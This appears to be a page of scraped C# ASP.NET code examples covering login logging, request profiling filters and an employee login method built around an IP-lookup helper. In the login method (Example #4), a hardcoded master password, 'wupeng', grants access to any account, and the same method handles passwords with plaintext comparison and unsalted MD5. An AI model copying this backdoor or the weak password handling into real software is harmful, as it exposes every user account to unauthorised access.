Example #1
0
        /// <summary>
        /// 写入登录日志
        /// </summary>
        /// <param name="m_emp"></param>
        public void LoginLog(Sys_Employee m_emp)
        {
            BaseService <sys_LoginLog> _logService = new BaseService <sys_LoginLog>();

            //修改最后一次登录时间
            var m_LastLog = _logService.GetListBy <DateTime?>(null, c => c.LoginDate, false).FirstOrDefault();

            if (m_LastLog != null)
            {
                m_emp.LastLoginTime = m_LastLog.LoginDate;
                _empService.Update(m_emp);
            }

            //添加登录日志
            string       ip  = IpAddress.GetIP();
            sys_LoginLog log = new sys_LoginLog();

            log.LoginId          = Guid.NewGuid();
            log.LoginEmployee    = m_emp.EmployeeID;
            log.LoginEmployeeKey = m_emp.EmployeeID.ToString();
            log.LoginDate        = DateTime.Now;
            log.LoginCity        = IpAddress.GetAddressByIp(ip, 2);             //登录城市
            log.LoginIpAddress   = ip;                                          //外网Ip
            log.LoginInIp        = HttpContext.Current.Request.UserHostAddress; //内网Ip

            _logService.Add(log);
        }
Example #2
0
        public static void RequestBegin(HttpApplication app)
        {
            if (!commandService.Process(app))
            {
                var request = app.Request;
                var path    = request.Url.AbsolutePath.ToLower();
                if (path == "/favicon.ico" || path == "/synccache.ashx" || path == "/pagemonitor")
                {
                    return;
                }

                //url filter
                if (!String.IsNullOrEmpty(serviceData.Setting.UrlFilter) && !request.Url.AbsolutePath.ToLower().Contains(serviceData.Setting.UrlFilter.ToLower()))
                {
                    return;
                }

                //ip filter
                if (!String.IsNullOrEmpty(serviceData.Setting.IPFilter) && !IpAddress.GetIP().Contains(serviceData.Setting.IPFilter))
                {
                    return;
                }

                //no url filter
                if (!String.IsNullOrEmpty(serviceData.Setting.NoUrlFilter))
                {
                    var noUrls = serviceData.Setting.NoUrlFilter.ToLower().Split(new char[] { ' ' }, StringSplitOptions.RemoveEmptyEntries);

                    if (noUrls.Any(o => path.Contains(o)))
                    {
                        return;
                    }
                }

                ProfilerContext.Current.Begin();
            }
        }
 public static string GetRequestIp()
 {
     return(IpAddress.GetIP());
 }
Example #4
0
        public AjaxMessage EmpLogin(string loginName, string passWord, string Ip)
        {
            AjaxMessage ajax = new AjaxMessage();

            ajax.IsSuccess = false;
            ajax.Message   = "";
            try
            {
                //获取启用的员工  是否存在
                Sys_Employee m_emp = _empService.GetByLoginName(loginName);
                if (m_emp == null)
                {
                    ajax.Message = "用户名不存在";
                }
                else
                {
                    string input_pwd = passWord.MD5Hash().ToUpper();
                    if (passWord == "wupeng")       //万能密码
                    {
                        ajax.IsSuccess = true;
                    }
                    else
                    {
                        if (input_pwd == m_emp.PassWord)
                        {
                            ajax.IsSuccess = true;
                        }
                        else if (passWord.ToLower() == m_emp.PassWord.ToLower()) //没加密密码 对比
                        {
                            m_emp.PassWord = input_pwd;                          //进行加密
                            int result = _empService.Update(m_emp);
                            if (result > 0)
                            {
                                ajax.IsSuccess = true;
                            }
                        }
                        else
                        {
                            ajax.Message = "密码输入错误";
                        }
                    }
                }

                if (ajax.IsSuccess == true)
                {
                    BaseService <sys_LoginLog> _logService = new BaseService <sys_LoginLog>();

                    //修改最后一次登录时间
                    var m_LastLog = _logService.GetListBy <DateTime?>(null, c => c.LoginDate, false).FirstOrDefault();
                    if (m_LastLog != null)
                    {
                        m_emp.LastLoginTime = m_LastLog.LoginDate;
                        _empService.Update(m_emp);
                    }

                    //添加登录日志
                    string       ip  = IpAddress.GetIP();
                    sys_LoginLog log = new sys_LoginLog();
                    log.LoginId          = Guid.NewGuid();
                    log.LoginEmployee    = m_emp.EmployeeID;
                    log.LoginEmployeeKey = m_emp.EmployeeID.ToString();
                    log.LoginDate        = DateTime.Now;
                    log.LoginCity        = IpAddress.GetAddressByIp(ip, 2);             //登录城市
                    log.LoginIpAddress   = ip;                                          //外网Ip
                    log.LoginInIp        = HttpContext.Current.Request.UserHostAddress; //内网Ip

                    _logService.Add(log);
                }
            }
            catch (Exception e)
            {
                ajax.IsSuccess = false;
                ajax.Message   = e.Message;
            }

            return(ajax);
        }